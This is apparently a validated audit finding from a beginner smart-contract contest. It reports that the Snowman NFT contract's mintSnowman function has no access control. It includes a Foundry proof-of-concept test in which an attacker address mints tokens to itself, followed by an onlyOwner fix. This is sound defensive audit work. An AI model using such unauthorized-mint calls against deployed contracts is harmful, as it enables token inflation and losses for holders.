Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of Access Control in `mintSnowman`

Root + Impact

Description

  • I took a deep dive into the Snowman smart contract, an ERC721-based NFT setup for airdropping some cool snowman tokens. My main focus was checking out a big red flag: the mintSnowman function has no access control, meaning anyone can mint NFTs like there’s no tomorrow. I wrote a Proof of Concept (PoC) to prove this issue is real and ran it through Foundry to confirm it. The mintSnowman function is wide open—anyone with an Ethereum wallet can call it and mint as many NFTs as they want to any address. There’s no check to see if the caller is the owner or has permission, which is like leaving your front door unlocked in a busy neighborhood.

// Snowman.sol, lines 37-45
@> function mintSnowman(address receiver, uint256 amount) external { // <--- ISSUE HERE
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • Very Likely: This is a no-brainer exploit. Anyone can call mintSnowman with a simple transaction, no hacking skills needed. If your airdrop gets hot, you can bet bots will swarm it like sharks smelling blood. I’ve seen this before in cases like the LAND Token Exploit, where missing access controls let attackers run wild.

  • Likelihood Rating: High

Impact:

  • Token Flood: An attacker could mint millions of NFTs, making your snowmen about as valuable as Monopoly money. This kills the hype for collectors.

  • Denial-of-Service: If someone spams the function, the s_TokenCounter could skyrocket, messing up future mints or confusing marketplaces trying to track tokens.

  • Reputation Hit: Nobody trusts an airdrop where bots can snatch all the goods. Users will bail.

  • Money Loss: If these NFTs trade on OpenSea or Blur, an oversupply could crash their price, hurting early buyers.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
import {DeploySnowman} from "../script/DeploySnowman.s.sol";
contract TestSnowman is Test {
Snowman nft;
DeploySnowman deployer;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address attacker = makeAddr("attacker");
string constant NAME = "Snowman Airdrop";
string constant SYMBOL = "SNOWMAN";
function setUp() public {
deployer = new DeploySnowman();
nft = deployer.run();
}
function testInitializedCorrectly() public view {
assert(keccak256(abi.encodePacked(nft.name())) == keccak256(abi.encodePacked(NAME)));
assert(keccak256(abi.encodePacked(nft.symbol())) == keccak256(abi.encodePacked(SYMBOL)));
}
function testUnauthorizedMintSnowman() public {
// Simulate attacker calling mintSnowman
vm.prank(attacker); // Set msg.sender to attacker
nft.mintSnowman(attacker, 5); // Attacker mints 5 tokens to themselves
// Verify that tokens were minted to attacker
assertEq(nft.balanceOf(attacker), 5, "Attacker should have minted 5 tokens");
assertEq(nft.ownerOf(0), attacker, "Token ID 0 should be owned by attacker");
assertEq(nft.ownerOf(1), attacker, "Token ID 1 should be owned by attacker");
assertEq(nft.ownerOf(2), attacker, "Token ID 2 should be owned by attacker");
assertEq(nft.ownerOf(3), attacker, "Token ID 3 should be owned by attacker");
assertEq(nft.ownerOf(4), attacker, "Token ID 4 should be owned by attacker");
assertEq(nft.getTokenCounter(), 5, "Token counter should reflect 5 minted tokens");
// Log for debugging
console2.log("Attacker balance:", nft.balanceOf(attacker));
console2.log("Token counter:", nft.getTokenCounter());
}
}

Recommended Mitigation

  • Lock down mintSnowman so only the owner can call it. Use OpenZeppelin’s onlyOwner modifier, like this:

    function mintSnowman(address receiver, uint256 amount) external onlyOwner {
    for (uint256 i = 0; i < amount; i++) {
    _safeMint(receiver, s_TokenCounter);
    emit SnowmanMinted(receiver, s_TokenCounter);
    s_TokenCounter++;
    }
    }
  • Test the fix by adding this to your test file:

    function testFailUnauthorizedMinting() public {
    vm.prank(attacker);
    vm.expectRevert(); // Should fail since attacker isn’t owner
    nft.mintSnowman(attacker, 1);
    }
Updates

Lead Judging Commences

yeahchibyke Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted NFT mint function

The mint function of the Snowman contract is unprotected. Hence, anyone can call it and mint NFTs without necessarily partaking in the airdrop.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.